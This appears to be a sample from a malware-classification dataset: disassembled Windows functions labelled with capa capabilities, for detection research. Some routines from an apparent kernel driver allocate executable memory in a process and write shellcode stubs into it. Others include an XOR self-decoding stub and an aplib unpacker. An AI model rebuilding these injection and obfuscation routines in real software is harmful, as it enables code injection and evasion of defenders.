joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400afaf0
Capabilities:
Access pe header
Get file attributes
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xd0
mov rax, qword [0x14007a2b0]
xor rax, rsp
mov qword [rbp + 0x47], rax
and qword [rbp - 0x19], 0
mov rdi, rdx
and dword [rbp + 7], 0
xor edx, edx
mov rbx, rcx
lea rcx, [rbp + 0xf]
lea r8d, [rdx + 0x28]
call fcn.140034240
and dword [rbp + 0x37], 0
xor eax, eax
and dword [rbp - 0x11], eax
mov dword [rbp + 0x3b], eax
mov qword [rbp + 0x3f], rax
mov qword [rbp - 0xd], rax
mov qword [rbp - 5], rax
mov dword [rbp + 3], eax
test rbx, rbx
je 0x1400afc73
test rdi, rdi
je 0x1400afc73
and dword [rsp + 0x50], eax
lea r9, [rbp + 0x37]
and qword [rsp + 0x48], rax
lea r8, [rbp + 7]
and qword [rbp + 0xf], rax
lea rcx, [rbp - 0x19]
mov dword [rsp + 0x40], 0x20
mov eax, 1
mov dword [rsp + 0x38], eax
xorps xmm0, xmm0
mov dword [rsp + 0x30], eax
mov edx, 0x100001
mov dword [rsp + 0x28], 0x80
and qword [rsp + 0x20], 0
mov dword [rbp + 7], 0x30
mov dword [rbp + 0x1f], 0x200
mov qword [rbp + 0x17], rbx
movdqu xmmword [rbp + 0x27], xmm0
call qword [sym.imp.ntoskrnl.exe_ZwCreateFile]
test eax, eax
js 0x1400afc78
mov rcx, qword [rbp - 0x19]
lea r8, [rbp - 0x11]
mov r9d, 0x18
mov dword [rsp + 0x20], 5
lea rdx, [rbp + 0x37]
call qword [sym.imp.ntoskrnl.exe_ZwQueryInformationFile]
test eax, eax
js 0x1400afbfe
mov rdx, qword [rbp - 9]
mov ecx, 0x100
call fcn.140001aec
mov qword [rdi], rax
and qword [rsp + 0x40], 0
xor r9d, r9d
and qword [rsp + 0x38], 0
xor r8d, r8d
mov eax, dword [rbp - 9]
xor edx, edx
mov rcx, qword [rbp - 0x19]
mov dword [rsp + 0x30], eax
mov rax, qword [rdi]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x37]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ntoskrnl.exe_ZwReadFile]
mov ebx, eax
test eax, eax
js 0x1400afc4e
mov rcx, qword [rdi]
call qword [sym.imp.ntoskrnl.exe_RtlImageNtHeader]
test rax, rax
mov ecx, 0xc000007b
cmove ebx, ecx
mov rcx, qword [rbp - 0x19]
call qword [sym.imp.ntoskrnl.exe_ZwClose]
test ebx, ebx
jns 0x1400afc6f
mov rcx, qword [rdi]
test rcx, rcx
je 0x1400afc6f
mov edx, 0x4b555341
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov eax, ebx
jmp 0x1400afc78
mov eax, 0xc000000d
mov rcx, qword [rbp + 0x47]
xor rcx, rsp
call fcn.14002ff90
lea r11, [rsp + 0xd0]
mov rbx, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x1400afc9c
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0xb0
mov rax, qword [0x14007a2b0]
xor rax, rsp
mov qword [rsp + 0xa8], rax
lea r14, [rcx + 8]
mov dword [rsp + 0x28], 0x40
and qword [r14], 0
lea r9, [r11 - 0x38]
mov eax, 0x1000
mov rsi, rcx
mov rdx, r14
mov qword [r11 - 0x38], rax
xor r8d, r8d
mov dword [rsp + 0x20], eax
or rcx, 0xffffffffffffffff
call qword [sym.imp.ntoskrnl.exe_ZwAllocateVirtualMemory]
mov ebx, eax
test eax, eax
js 0x1400afe58
mov rcx, qword [rsi]
mov rdi, qword [r14]
call qword [sym.imp.ntoskrnl.exe_PsGetProcessWow64Process]
test rax, rax
lea rdx, [0x1400b0c80]
lea rcx, [rsp + 0x98]
setne bpl
call fcn.14000148c
mov rbx, qword [rsi]
lea rdx, [rsp + 0x98]
mov rcx, rbx
mov r8b, bpl
call fcn.1400acf58
mov rcx, rax
lea rdx, [0x1400b0e20]
xor r9d, r9d
mov r8, rbx
call fcn.1400ad218
mov rbx, rax
test rax, rax
je 0x1400afe53
xor edx, edx
lea rcx, [rsp + 0x68]
lea r8d, [rdx + 0x28]
call fcn.140034240
lea rcx, [rdi + 0x100]
mov qword [rcx], 0xffffffffffff3cb0
test bpl, bpl
je 0x1400afda2
mov byte [rdi], 0x68
mov eax, 0x16a
mov dword [rdi + 1], ecx
mov word [rdi + 5], ax
mov byte [rdi + 7], 0xb8
mov dword [rdi + 8], ebx
mov dword [rdi + 0xc], 0xf0ebd0ff
jmp 0x1400afdd3
mov qword [rdi + 2], 1
mov eax, 0xb948
mov word [rdi], ax
mov eax, 0xba48
mov word [rdi + 0xa], ax
mov eax, 0xb848
mov qword [rdi + 0xc], rcx
mov word [rdi + 0x14], ax
mov qword [rdi + 0x16], rbx
mov dword [rdi + 0x1e], 0xdeebd0ff
and dword [rsp + 0x30], 0
lea r8, [rsp + 0x60]
mov rax, qword [r14]
lea rcx, [rsi + 0x10]
and qword [rsp + 0x28], 0
xorps xmm0, xmm0
and qword [rsp + 0x68], 0
mov ebp, 0x1fffff
and qword [rsp + 0x70], 0
mov edx, ebp
mov dword [rsp + 0x60], 0x30
mov dword [rsp + 0x78], 0x200
movdqu xmmword [rsp + 0x80], xmm0
mov qword [rsp + 0x20], rax
call fcn.1400014f8
mov ebx, eax
test eax, eax
js 0x1400afe58
mov r8, qword [sym.imp.ntoskrnl.exe_PsThreadType]
lea rax, [rsi + 0x18]
and qword [rsp + 0x28], 0
xor r9d, r9d
mov rcx, qword [rsi + 0x10]
mov edx, ebp
mov qword [rsp + 0x20], rax
mov r8, qword [r8]
call qword [sym.imp.ntoskrnl.exe_ObReferenceObjectByHandle]
jmp 0x1400afe58
mov ebx, 0xc0000225
mov eax, ebx
mov rcx, qword [rsp + 0xa8]
xor rcx, rsp
call fcn.14002ff90
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
Function at 0x1400affcc
Capabilities:
Access pe header

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x30
mov rax, qword [0x14007a2b0]
xor rax, rsp
mov qword [rsp + 0x28], rax
xor ebx, ebx
mov rdi, r8
mov dword [rsp + 0x20], ebx
mov rsi, rdx
mov r14, rcx
test rdx, rdx
je 0x1400b0021
test r8, r8
je 0x1400b0021
lea r8d, [rbx + 2]
xor edx, edx
lea r9, [rsp + 0x20]
call qword [sym.imp.ntoskrnl.exe_RtlImageDirectoryEntryToData]
mov r8, rax
test rax, rax
jne 0x1400b003f
mov qword [rsi], rbx
mov dword [rdi], ebx
xor eax, eax
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.14002ff90
add rsp, 0x30
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
movzx r10d, word [rax + 0xe]
mov r11d, ebx
movzx eax, word [rax + 0xc]
add r10d, eax
test r10d, r10d
jle 0x1400b0021
lea r9, [r8 + 0x10]
mov r12d, 1
mov eax, dword [r9 + 4]
test eax, eax
jns 0x1400b00ba
cmp word [r9], 0x18
jne 0x1400b00ba
add eax, eax
mov ebp, ebx
movsxd rcx, eax
sar rcx, 1
sar eax, 1
movsxd rdx, eax
add rdx, 0x10
movzx r15d, word [rcx + r8 + 0xe]
movzx eax, word [rcx + r8 + 0xc]
add r15d, eax
test r15d, r15d
jle 0x1400b00ba
add rdx, r8
mov eax, dword [rdx + 4]
test eax, eax
jns 0x1400b00ae
movzx eax, word [rdx]
mov ecx, 2
sub ax, r12w
cmp ax, cx
jbe 0x1400b00cc
add rdx, 8
add ebp, r12d
cmp ebp, r15d
jl 0x1400b0096
add r9, 8
add r11d, r12d
cmp r11d, r10d
jge 0x1400b0021
jmp 0x1400b005d
mov eax, dword [rdx + 4]
add eax, eax
sar eax, 1
cdqe
mov ecx, dword [rax + r8 + 0x14]
movzx eax, word [rdx]
mov dword [rdi], eax
mov eax, dword [rcx + r8 + 4]
mov qword [rsi], rax
mov edi, dword [rcx + r8]
mov rcx, r14
call qword [sym.imp.ntoskrnl.exe_RtlImageNtHeader]
test rax, rax
je 0x1400b0145
mov ecx, 0x10b
lea rdx, [rax + 0x108]
cmp word [rax + 0x18], cx
jne 0x1400b0112
lea rdx, [rax + 0xf8]
movzx eax, word [rax + 6]
lea rcx, [rax + rax*4]
lea r8, [rdx + rcx*8]
cmp rdx, r8
jae 0x1400b0145
mov ecx, dword [rdx + 0xc]
cmp edi, ecx
jb 0x1400b0131
add ecx, dword [rdx + 8]
cmp edi, ecx
jb 0x1400b0137
add rdx, 0x28
jmp 0x1400b011e
sub edi, dword [rdx + 0xc]
mov ebx, dword [rdx + 0x14]
mov eax, edi
add rax, r14
add rbx, rax
mov rax, rbx
jmp 0x1400b0023
Function at 0x1400b06f0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
mov rbp, rsp
sub rsp, 0x70
mov rax, qword [0x14007a2b0]
xor rax, rsp
mov qword [rbp - 8], rax
mov eax, 0x1000
mov dword [rsp + 0x28], 0x40
mov rsi, rdx
mov qword [rbp - 0x10], rax
mov rdi, rcx
mov dword [rsp + 0x20], eax
xor ebx, ebx
mov dword [rbp - 0x40], 0x68
lea rdx, [rbp - 0x18]
mov qword [rbp - 0x18], rbx
or rcx, 0xffffffffffffffff
mov dword [rbp - 0x2c], ebx
lea r9, [rbp - 0x10]
mov dword [rbp - 0x3c], 0x6800
xor r8d, r8d
mov dword [rbp - 0x38], 0x6a0000
mov dword [rbp - 0x34], 0xe8006a
mov dword [rbp - 0x30], 0xba000000
mov dword [rbp - 0x28], 0x1e7e02c7
mov dword [rbp - 0x24], 0xbac037
mov dword [rbp - 0x20], 0x89000000
mov dword [rbp - 0x1c], 0x4c202
call qword [sym.imp.ntoskrnl.exe_ZwAllocateVirtualMemory]
test eax, eax
js 0x1400b0825
movzx eax, word [rsi]
mov rbx, qword [rbp - 0x18]
add rbx, 0x200
mov word [rbx], ax
movzx eax, word [rsi + 2]
mov word [rbx + 2], ax
mov eax, dword [rbp - 0x18]
add eax, 0x210
mov dword [rbx + 4], eax
movzx r8d, word [rsi]
mov rdx, qword [rsi + 8]
mov ecx, eax
call fcn.140034340
mov rax, qword [rbp - 0x18]
movups xmm0, xmmword [rbp - 0x40]
movups xmm1, xmmword [rbp - 0x30]
movups xmmword [rax], xmm0
movsd xmm0, qword [rbp - 0x20]
movups xmmword [rax + 0x10], xmm1
movsd qword [rax + 0x20], xmm0
mov rcx, qword [rbp - 0x18]
lea eax, [rcx + 0x5e0]
mov dword [rcx + 1], eax
mov rax, qword [rbp - 0x18]
mov dword [rax + 6], ebx
mov rax, qword [rbp - 0x18]
sub edi, eax
sub edi, 0x13
mov dword [rax + 0xf], edi
mov rcx, qword [rbp - 0x18]
lea eax, [rcx + 0x5e8]
mov dword [rcx + 0x14], eax
mov rcx, qword [rbp - 0x18]
lea eax, [rcx + 0x5ec]
mov dword [rcx + 0x1f], eax
mov rax, qword [rbp - 0x18]
jmp 0x1400b0827
xor eax, eax
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.14002ff90
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x1400b084c
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x47]
sub rsp, 0xa0
mov rax, qword [0x14007a2b0]
xor rax, rsp
mov qword [rbp + 0x37], rax
xor r14d, r14d
mov dword [rsp + 0x28], 0x40
mov eax, 0x1000
mov qword [rbp + 0x27], r14
mov rsi, rdx
mov qword [rbp + 0x2f], rax
mov rdi, rcx
mov qword [rbp - 0x1d], r14
lea rdx, [rbp + 0x27]
mov qword [rbp - 9], r14
or rcx, 0xffffffffffffffff
mov qword [rbp + 3], r14
lea r9, [rbp + 0x2f]
mov qword [rbp + 0x13], r14
xor r8d, r8d
mov dword [rsp + 0x20], eax
mov dword [rbp - 0x29], 0x28ec8348
mov dword [rbp - 0x25], 0x48c93148
mov dword [rbp - 0x21], 0xb849d231
mov qword [rbp - 0x15], 0xb949
mov dword [rbp - 0xd], 0xb8480000
mov dword [rbp - 1], 0xba48d0ff
mov dword [rbp + 0xb], 0x1e7e02c7
mov dword [rbp + 0xf], 0xba48c037
mov dword [rbp + 0x1b], 0x83480289
mov word [rbp + 0x1f], 0x28c4
call qword [sym.imp.ntoskrnl.exe_ZwAllocateVirtualMemory]
test eax, eax
js 0x1400b09af
mov rbx, qword [rbp + 0x27]
mov rdx, rsi
add rbx, 0x200
mov rcx, rbx
mov dword [rbx], 0x3d00000
mov rax, qword [rbp + 0x27]
add rax, 0x210
mov qword [rbx + 8], rax
call fcn.140006bac
mov rcx, qword [rbp + 0x27]
movaps xmm0, xmmword [rbp - 0x29]
movaps xmm1, xmmword [rbp - 0x19]
movzx eax, word [rbp + 0x1f]
movups xmmword [rcx], xmm0
movaps xmm0, xmmword [rbp - 9]
movups xmmword [rcx + 0x10], xmm1
movaps xmm1, xmmword [rbp + 7]
movups xmmword [rcx + 0x20], xmm0
movsd xmm0, qword [rbp + 0x17]
movups xmmword [rcx + 0x30], xmm1
movsd qword [rcx + 0x40], xmm0
mov word [rcx + 0x48], ax
mov byte [rcx + 0x4a], 0xc3
mov rax, qword [rbp + 0x27]
mov qword [rax + 0xc], rbx
mov rcx, qword [rbp + 0x27]
lea rax, [rcx + 0x5e0]
mov qword [rcx + 0x16], rax
mov rax, qword [rbp + 0x27]
mov qword [rax + 0x20], rdi
mov rcx, qword [rbp + 0x27]
lea rax, [rcx + 0x5e8]
mov qword [rcx + 0x2c], rax
mov rcx, qword [rbp + 0x27]
lea rax, [rcx + 0x5ec]
mov qword [rcx + 0x3c], rax
mov rax, qword [rbp + 0x27]
jmp 0x1400b09b1
xor eax, eax
mov rcx, qword [rbp + 0x37]
xor rcx, rsp
call fcn.14002ff90
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
Function at 0x1400b1000
Capabilities:
Access pe header

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x60
mov rax, qword [0x14007a2b0]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov r15, qword [rsp + 0xa0]
mov rbp, r9
mov r12, rdx
test r15, r15
jne 0x1400b1049
mov eax, 0xc000000d
jmp 0x1400b10dc
xor ecx, ecx
call section.PAGE
mov rbx, rax
test rax, rax
je 0x1400b10d7
mov rcx, rax
call qword [sym.imp.ntoskrnl.exe_RtlImageNtHeader]
mov rsi, rax
test rax, rax
jne 0x1400b1070
mov eax, 0xc000007b
jmp 0x1400b10dc
lea r14, [rax + 0x108]
movzx eax, word [rax + 6]
mov rdi, r14
lea rcx, [rax + rax*4]
lea rax, [r14 + rcx*8]
cmp r14, rax
jae 0x1400b10d7
lea rdx, [0x1400b1b40]
lea rcx, [rsp + 0x48]
call qword [sym.imp.ntoskrnl.exe_RtlInitAnsiString]
mov rdx, rdi
lea rcx, [rsp + 0x38]
call qword [sym.imp.ntoskrnl.exe_RtlInitAnsiString]
mov r8b, 1
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x48]
call qword [sym.imp.ntoskrnl.exe_RtlCompareString]
test eax, eax
je 0x1400b1108
movzx eax, word [rsi + 6]
add rdi, 0x28
lea rcx, [rax + rax*4]
lea rax, [r14 + rcx*8]
cmp rdi, rax
jb 0x1400b108b
mov eax, 0xc0000225
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.14002ff90
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r12
ret
mov eax, dword [rdi + 8]
lea rcx, [rsp + 0x30]
mov r9d, dword [rdi + 0xc]
mov r8, rbp
and qword [rsp + 0x30], 0
add r9, rbx
mov qword [rsp + 0x28], rcx
mov rcx, r12
mov qword [rsp + 0x20], rax
call fcn.1400016dc
test eax, eax
js 0x1400b10dc
mov ecx, dword [rsp + 0x30]
sub ecx, ebx
mov dword [r15], ecx
jmp 0x1400b10dc

Function at 0x1400b19f4
Capabilities:
Create device object

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, rdx
mov rdi, rcx
call fcn.1400b1a20
mov rdx, rbx
mov rcx, rdi
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp loc.14000eed0
Function at 0x1417d8058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x1417d81df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x1417d8089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1417d806f
add dl, dl
jne 0x1417d8096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1417d80f6
xor eax, eax
add dl, dl
jne 0x1417d80a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1417d81ad
add dl, dl
jne 0x1417d80b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1417d80c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1417d80d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1417d80dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1417d80ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x1417d807e
mov eax, 1
add dl, dl
jne 0x1417d8106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1417d8113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1417d80fb
sub eax, ebx
mov ebx, 1
jne 0x1417d814c
mov ecx, 1
add dl, dl
jne 0x1417d812e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1417d813b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1417d8123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1417d807e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1417d8168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1417d8175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1417d815d
cmp eax, 0x7d00
jae 0x1417d819b
cmp eax, 0x500
jb 0x1417d8196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1417d807e
cmp eax, 0x7f
ja 0x1417d819e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1417d807e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1417d81d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x1417d807e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140028974
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.14001c284
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.14001c284
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x140028ac4
cmp rax, 0xffffffffffffffff
je 0x140028ac4
xor edi, edi
test rbp, rbp
jle 0x140028a6f
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.14001eb98
mov rbx, rax
test rax, rax
jne 0x1400289fc
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x140028a65
mov edx, 0x8000
mov ecx, r14d
call fcn.140019be8
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.14001cf60
cmp eax, 0xffffffff
je 0x140028a45
cdqe
sub rbp, rax
test rbp, rbp
jg 0x140028a0c
mov edx, r15d
mov ecx, r14d
call fcn.140019be8
jmp 0x140028a65
cmp byte [rsi + 0x38], dil
je 0x140028a5c
cmp dword [rsi + 0x34], 5
jne 0x140028a5c
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x140028a65
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.14001a948
jmp 0x140028ad8
jns 0x140028ad8
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.14001c284
cmp rax, 0xffffffffffffffff
jne 0x140028a90
cmp byte [rsi + 0x30], dil
je 0x140028ad8
mov edi, dword [rsi + 0x2c]
jmp 0x140028ad8
mov ecx, r14d
call fcn.14001871c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x140028ad8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x140028ad8
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x140028ad1
mov eax, dword [rsi + 0x2c]
jmp 0x140028ad6
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.14001c284
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x140029bd0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140029bf8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140029bf8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret

Function at 0x1408886d8
Capabilities:
Encode data using xor

Disassembly:
jmp 0x1408886e2
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
pushfq
sub rsp, 8
stmxcsr dword [rsp]
call 0x14088870b
pop rbp
sub rbp, 0x33
sub rbp, 0x8886d8
sub rsp, 0x20
jmp 0x14088872a
mov rax, 0x8886d8
add rax, rbp
add rax, 0x84
mov rcx, 0x647
mov rdx, 0x4d8cda67
xor byte [rax], dl
inc rax
dec rcx
jne 0x140888749
jmp 0x140888760
invalid
Function at 0x180018994
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov rbp, r8
mov r14, rdx
mov rdi, rcx
test r8, r8
jg 0x1800189c2
xor eax, eax
jmp 0x180018aa8
cmp qword [rcx + 0x68], 0
je 0x1800189d3
call fcn.180018ac4
jmp 0x180018aa8
mov rax, qword [rcx + 0x38]
mov rsi, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x1800189ea
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x1800189ec
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x180018a1e
cmp rax, rbp
mov rbx, rbp
mov rcx, r14
cmovb rbx, rax
mov r8, rbx
call fcn.180039840
mov rax, qword [rdi + 0x50]
add r14, rbx
sub rsi, rbx
sub dword [rax], ebx
mov rcx, qword [rdi + 0x38]
movsxd rax, ebx
add qword [rcx], rax
cmp qword [rdi + 0x80], 0
je 0x180018aa2
mov r8, qword [rdi + 0x18]
lea rax, [rdi + 0x70]
cmp qword [r8], rax
jne 0x180018a55
mov rcx, qword [rdi + 0x88]
mov rdx, qword [rdi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rdi + 0x38]
mov qword [rax], rcx
mov rax, qword [rdi + 0x50]
mov dword [rax], edx
mov ebx, 0xfff
jmp 0x180018a7e
mov r9, qword [rdi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call fcn.1800245ec
add r14, rax
sub rsi, rax
cmp rax, rbx
jne 0x180018aa2
cmp rsi, rbx
ja 0x180018a5c
test rsi, rsi
je 0x180018aa2
mov r9, qword [rdi + 0x80]
mov r8, rsi
mov edx, 1
mov rcx, r14
call fcn.1800245ec
sub rsi, rax
sub rbp, rsi
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x18002c5a8
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x18002c5d8
xor eax, eax
jmp 0x18002c69b
mov rbp, rbx
cmp word [rax], si
je 0x18002c5fd
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x18002c5e4
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x18002c5e0
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.18002c4c8
movsxd r14, eax
test eax, eax
jne 0x18002c63b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x18002c5d1
mov rcx, r14
call fcn.180027cb4
mov rdi, rax
test rax, rax
jne 0x18002c654
xor ecx, ecx
call fcn.180027c78
jmp 0x18002c630
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.18002c4c8
test eax, eax
jne 0x18002c685
mov rcx, rdi
call fcn.180027c78
jmp 0x18002c68f
xor ecx, ecx
call fcn.180027c78
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret